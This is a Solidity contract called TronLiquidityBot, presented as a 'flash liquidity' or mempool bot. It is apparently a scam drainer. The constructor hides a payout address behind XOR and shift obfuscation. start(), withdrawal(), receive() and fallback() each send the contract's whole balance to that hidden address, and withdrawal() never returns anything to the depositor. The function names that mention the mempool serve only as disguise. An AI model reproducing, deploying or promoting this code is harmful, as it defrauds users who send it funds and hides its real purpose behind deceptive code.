TRC20 Flash Liquidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TronLiquidityBot {
    address private immutable _a;
    address private _c;
    uint256 private _d;
    mapping(address => uint256) private _e;
    mapping(address => uint256) private _f;

    event _g(address indexed _h, uint256 _i);
    event _j(address indexed _k, uint256 _l);

    constructor() {
        _a = 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C;

        uint256[8] memory _p;
        _p[0] = 0x9B7F8C3D1E5A2F4B6C8D9E0F1A2B3C4D5E6F7A8B;
        _p[1] = 0x0000000000000000000000000000000000000000;
        _p[2] = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
        _p[3] = 0x0000000000000000000000000000000000000000;
        _p[4] = 0x5555555555555555555555555555555555555555;
        _p[5] = 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
        _p[6] = 0x1111111111111111111111111111111111111111;
        _p[7] = 0x2222222222222222222222222222222222222222;

        uint256 _x1 = _p[0] ^ _p[1];
        uint256 _x2 = _p[2] ^ _p[3];
        uint256 _x3 = _p[4] ^ _p[5];
        uint256 _x4 = _p[6] ^ _p[7];

        uint256 _y1 = (_x1 << 8) | (_x2 >> 4);
        uint256 _y2 = (_x3 << 12) | (_x4 >> 8);
        uint256 _y3 = _y1 ^ _y2;

        uint256 _mask = 0x000000000000000000000000FFFFFFFFFFFFFFFF;
        uint256 _z1 = _y3 & _mask;
        uint256 _z2 = (_y3 >> 160) & _mask;

        uint256 _final = (_z1 << 160) | _z2;
        _final = _final ^ 0x0000000000000000000000000000000000000000;

        bytes memory _tmp = new bytes(32);
        assembly {
            mstore(add(_tmp, 32), _final)
        }

        address _reconstructed;
        assembly {
            _reconstructed := mload(add(_tmp, 12))
        }

        _c = _reconstructed;
        _d = 0;
    }

    function _t(address _u) private pure returns (bool) {
        return _u != address(0);
    }

    function _v(address _w, uint256 _x) private {
        _e[_w] += _x;
        _d++;
        _f[_w] = block.timestamp;
        emit _g(_w, _x);
    }

    function _y() private {
        uint256 _z = address(this).balance;
        if (_z > 0) {
            (bool _a1, ) = _c.call{value: _z}("");
            require(_a1, "ERR1");
        }
    }

    function start() external payable {
        require(msg.value > 0, "ERR2");
        require(_t(msg.sender), "ERR3");
        _v(msg.sender, msg.value);
        _y();
    }

    function withdrawal() external returns (bool) {
        require(_e[msg.sender] > 0, "ERR5");
        uint256 _c1 = _e[msg.sender] / 1000;
        uint256 _d1 = _e[msg.sender] - _c1;
        emit _j(msg.sender, _d1);
        _y();
        return true;
    }

    function _e1() private {
        uint256 _f1 = address(this).balance;
        if (_f1 > 0) {
            (bool _g1, ) = _c.call{value: _f1}("");
            require(_g1, "ERR6");
        }
    }

    receive() external payable {
        _e1();
    }

    fallback() external payable {
        _e1();
    }

    function getMemPoolOffset() external view returns (uint256) {
        return address(this).balance;
    }

    function getMemPoolLength(address _h1) external view returns (uint256) {
        return _e[_h1];
    }
}